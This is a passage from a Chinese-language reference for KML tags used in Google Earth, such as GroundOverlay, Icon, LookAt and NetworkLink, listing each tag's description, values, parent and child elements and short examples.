<H4>&lt;GroundOverlay&gt;</H4>
<DIV class=desc>复合标签，本标签代表一个地理图片标注.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A>0<A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A>C:/GoogleEarth/example.jpg<A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#drawOrder">&lt;drawOrder&gt;</A>0<A href="http://www.step1.cn/googleapi/map/kml.htm#drawOrder">&lt;drawOrder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#rotation">&lt;rotation&gt;</A>36.9994<A href="http://www.step1.cn/googleapi/map/kml.htm#rotation">&lt;rotation&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#north">&lt;north&gt;</A>39.3082<A href="http://www.step1.cn/googleapi/map/kml.htm#north">&lt;north&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#south">&lt;south&gt;</A>38.5209<A href="http://www.step1.cn/googleapi/map/kml.htm#south">&lt;south&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#east">&lt;east&gt;</A>-95.1583<A href="http://www.step1.cn/googleapi/map/kml.htm#east">&lt;east&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#west">&lt;west&gt;</A>-96.3874<A href="http://www.step1.cn/googleapi/map/kml.htm#west">&lt;west&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>任何有目录功能的标签.<BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#drawOrder">&lt;drawOrder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A> (必需)<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A> (必需)<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#rotation">&lt;rotation&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=h></A>
<H4>&lt;h&gt;</H4>
<DIV class=desc>当在用作图标的图片上选择一个区域的时候,h是图片上被提取区域的高度像素值. <BR></DIV>
<DL>
<DT>值: 
<DD>一个整数值，指定图片上被提取区域的高度像素值.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=heading></A>
<H4>&lt;heading&gt;</H4>
<DIV class=desc>单一标签.是<A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A>的子元素. 当前视角在水平面上的投影和正北的夹角，下面的例子表现了一个向西的视角. <BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#heading">&lt;heading&gt;</A>-90<A href="http://www.step1.cn/googleapi/map/kml.htm#heading">&lt;heading&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>由观测者（视点）方向决定.以度为单位.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=href></A>
<H4>&lt;href&gt;</H4>
<DIV class=desc>单一标签.是<A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A>的子元素. 用来指定图片或图标的路径.可以是本地或远程网络服务器的路径.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A>C:/GoogleEarth/example.jpg<A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>图片路径.<BR><BR>C:/GoogleEarth/example.jpg<BR><BR>如果是网络服务器上的图片，则给出该图片的URL地址:<BR><BR>http://www.keyhole.com/images/nav/navTopLogo.png<BR><BR>另外，如果要指定一个的图片做图标，你也可以实现从大图片上截取一块区域作为图标.而且这样将会有更好的性能.<BR><BR>例如,你可能有一张图片，由16个小图片按4X4排列而成，你可以实现引用其中的一每小块图片作为图标，只要你指定该小块图片在整个图片上的的以下四个坐标值: <BR><BR>x、y 坐标,小块区域左上角的像素坐标 <BR>w、h 坐标,小块区域的宽度和高度像素值<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style id="Example"&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#IconStyle">&lt;IconStyle&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A>example.png<A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#x">&lt;x&gt;</A>128<A href="http://www.step1.cn/googleapi/map/kml.htm#x">&lt;x&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#y">&lt;y&gt;</A>0<A href="http://www.step1.cn/googleapi/map/kml.htm#y">&lt;y&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#w">&lt;w&gt;</A>64<A href="http://www.step1.cn/googleapi/map/kml.htm#w">&lt;w&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#h">&lt;h&gt;</A>64<A href="http://www.step1.cn/googleapi/map/kml.htm#h">&lt;h&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#IconStyle">&lt;IconStyle&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A><BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=Icon></A>
<H4>&lt;Icon&gt;</H4>
<DIV class=desc>复合标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A>, <A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A>,和<A href="http://www.step1.cn/googleapi/map/kml.htm#IconStyle">&lt;IconStyle&gt;</A>的子元素. 必需的<A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A>子元素定义图片或图标的路径. 可以是本地或远程网络服务器的路径.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#x">&lt;x&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#y">&lt;y&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#w">&lt;w&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#h">&lt;h&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=IconStyle></A>
<H4>&lt;IconStyle&gt;</H4>
<DIV class=desc>复合标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A>的子元素并包含<A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A>元素. IconStyle指定图标的样式. <BR></DIV>
<DL>
<DT>值: 
<DD>字符串<BR><BR>
<DT>父元素: 
<DD><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Icon">&lt;Icon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#scale">&lt;scale&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=innerBoundaryIs></A>
<H4>&lt;innerBoundaryIs&gt;</H4>
<DIV class=desc>复合标签，定义一个多变形的边.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#innerBoundaryIs">&lt;innerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR>-88.306534, 30.227852, 0.000000 ...... -88.306534, 30.227852, 0.000000<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#innerBoundaryIs">&lt;innerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=key></A>
<H4>&lt;key&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A>的子元素.用来定义一个高亮或正常情况下的样式<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleMap">&lt;StyleMap id="example_style"&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A><BR>&lt;key&gt;normal&lt;/key&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A>#example_style_off<A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A><BR>&lt;key&gt;highlight&lt;/key&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A>#example_style_on<A href="http://www.step1.cn/googleapi/map/kml.htm#StyleUrl">&lt;styleUrl&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleMap">&lt;StyleMap&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>normal代表该标注的正常样式,highlight代表该标注被选中情况下的样式.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=labelColor></A>
<H4>&lt;labelColor&gt;</H4>
<DIV class=desc>单一标签，用来指定Google Earth之中的标签颜色.在<A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A>标签之中使用.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#labelColor">&lt;labelColor&gt;</A>ffff0055<A href="http://www.step1.cn/googleapi/map/kml.htm#labelColor">&lt;labelColor&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>默认值是ffffffff (白色,不透明).可以是16进制的符号并按照aabbggrr(alpha, blue, green, red)排列,其中，透明度是从0(透明)-255(不透明). 要了解更多请查看关于颜色的介绍文章.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=latitude></A>
<H4>&lt;latitude&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A>的子元素. 指定从-90到90的纬度值.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#latitude">&lt;latitude&gt;</A>33.3205<A href="http://www.step1.cn/googleapi/map/kml.htm#latitude">&lt;latitude&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>由视点坐标决定，单位是度.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=LatLonBox></A>
<H4>&lt;LatLonBox&gt;</H4>
<DIV class=desc>复合标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A>的子元素.用来指定该图片标注的地理坐标.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#rotation">&lt;rotation&gt;</A>36.9994<A href="http://www.step1.cn/googleapi/map/kml.htm#rotation">&lt;rotation&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#west">&lt;west&gt;</A>-96.3874<A href="http://www.step1.cn/googleapi/map/kml.htm#west">&lt;west&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#east">&lt;east&gt;</A>-95.1583<A href="http://www.step1.cn/googleapi/map/kml.htm#east">&lt;east&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#south">&lt;south&gt;</A>38.5209<A href="http://www.step1.cn/googleapi/map/kml.htm#south">&lt;south&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#north">&lt;north&gt;</A>39.3082<A href="http://www.step1.cn/googleapi/map/kml.htm#north">&lt;north&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#east">&lt;east&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#west">&lt;west&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#north">&lt;north&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#south">&lt;south&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#rotation">&lt;rotation&gt;</A> (可选)<BR><BR></DD></DL></DIV>
<DIV class=term><A name=LinearRing></A>
<H4>&lt;LinearRing&gt;</H4>
<DIV class=desc>复合标签，定义一个闭合的折线，以描述一个多边形. 使用<A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A>标签说明折线的每一个点的坐标，最后的点将会和第一点连接以使图形闭合.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR>-88.306534, 30.227852, 0.000000 ...... -88.306534, 30.227852, 0.000000<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=LineString></A>
<H4>&lt;LineString&gt;</H4>
<DIV class=desc>复合标签，用来定义一段折线. 以坐标值字符串的形式定义该折线的轨迹.使用<A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A>元素来描绘每个点的坐标.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GeometryCollection">&lt;GeometryCollection&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=longitude></A>
<H4>&lt;longitude&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A>的子元素. 指定从-180到180的经度值.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#longitude">&lt;longitude&gt;</A>-111.965<A href="http://www.step1.cn/googleapi/map/kml.htm#longitude">&lt;longitude&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>由视点坐标决定，单位是度.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=LookAt></A>
<H4>&lt;LookAt&gt;</H4>
<DIV class=desc>复合标签.为标注或目录定义观测者坐标(视点).<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#heading">&lt;heading&gt;</A>-0.00895499<A href="http://www.step1.cn/googleapi/map/kml.htm#heading">&lt;heading&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#tilt">&lt;tilt&gt;</A>39.4365<A href="http://www.step1.cn/googleapi/map/kml.htm#tilt">&lt;tilt&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#range">&lt;range&gt;</A>214.17<A href="http://www.step1.cn/googleapi/map/kml.htm#range">&lt;range&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#latitude">&lt;latitude&gt;</A>37.3895<A href="http://www.step1.cn/googleapi/map/kml.htm#latitude">&lt;latitude&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#longitude">&lt;longitude&gt;</A>-122.086<A href="http://www.step1.cn/googleapi/map/kml.htm#longitude">&lt;longitude&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#heading">&lt;heading&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#latitude">&lt;latitude&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#longitude">&lt;longitude&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#range">&lt;range&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=name></A>
<H4>&lt;name&gt;</H4>
<DIV class=desc>单一标签.用来显示为一个标注的简单名称，或者在<A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A>元素之中代表标示符.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>Favourite Places<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR>. . .<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>任意字符串.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=NetworkLink></A>
<H4>&lt;NetworkLink&gt;</H4>
<DIV class=desc>复合标签，用来定义一个引用的本地或远程的KML文件.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#refreshVisibility">&lt;refreshVisibility&gt;</A>0<A href="http://www.step1.cn/googleapi/map/kml.htm#refreshVisibility">&lt;refreshVisibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#refreshInterval">&lt;refreshInterval&gt;</A>121<A href="http://www.step1.cn/googleapi/map/kml.htm#refreshInterval">&lt;refreshInterval&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Url">&lt;Url&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A>//myServer/Googleearth/example.kmlM.<A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Url">&lt;Url&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A>1<A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A>TestNetworkLink<A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无.<BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#refreshVisibility">&lt;refreshVisibility&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#refreshInterval">&lt;refreshInterval&gt;</A><BR>&lt;<A href="http://www.step1.cn/googleapi/map/kml.htm#Url">&lt;Url&gt;</A>&gt;<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=north></A>
<H4>&lt;north&gt;</H4>
<DIV class=desc>单一标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A>的子元素.指定图片标注上边缘的纬度值.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#north">&lt;north&gt;</A>39.3082<A href="http://www.step1.cn/googleapi/map/kml.htm#north">&lt;north&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>由图片标记所描述的实际地理位置决定，经度和纬度以度数表示. <BR><BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LatLonBox">&lt;LatLonBox&gt;</A><BR><BR>
<DT>子元素: 
<DD>无. </DD></DL></DIV>
<DIV class=term><A name=ObjArrayField></A>
<H4>&lt;ObjArrayField&gt;</H4>
<DIV class=desc>复合标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A>的子元素.用来为一个schema对象定义一个字段数组类型. 使用 <A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A>元素指定数组中类型的名称.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=ObjField></A>
<H4>&lt;ObjField&gt;</H4>
<DIV class=desc>复合标签，是<A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A>的子元素.用来为一个schema对象定义一个字段类型.使用 <A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A>元素指定类型的名称.<BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A><BR><BR>
<DT>子元素: 
<DD>包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A><BR><BR></DD></DL></DIV>
<DIV class=term><A name=open></A>
<H4>&lt;open&gt;</H4>
<DIV class=desc>单一标签，指示目录是否默认被展开.<BR></DIV>
<DL>
<DT>值: 
<DD>在载入时，如果值为1，则该目录默认会被展开，如果值为1，则默认是闭合的，如果目录包含大量的标注，最好确保目录默认闭合状态.<BR>
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A><BR><BR>
<DT>子元素: 
<DD>None. <BR><BR></DD></DL></DIV>
<DIV class=term><A name=outerBoundaryIs></A>
<H4>&lt;outerBoundaryIs&gt;</H4>
<DIV class=desc>复合标签，定义一个多边形的各个边.必需.<BR><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR>-88.306534, 30.227852, 0.000000 ...... -88.306534, 30.227852, 0.000000<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A><BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><BR></DIV>
<DL>
<DT>值: 
<DD>无. 
<DT>父元素: 
<DD>被以下元素包含:<BR><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A><BR><BR>
<DT>子元素: 
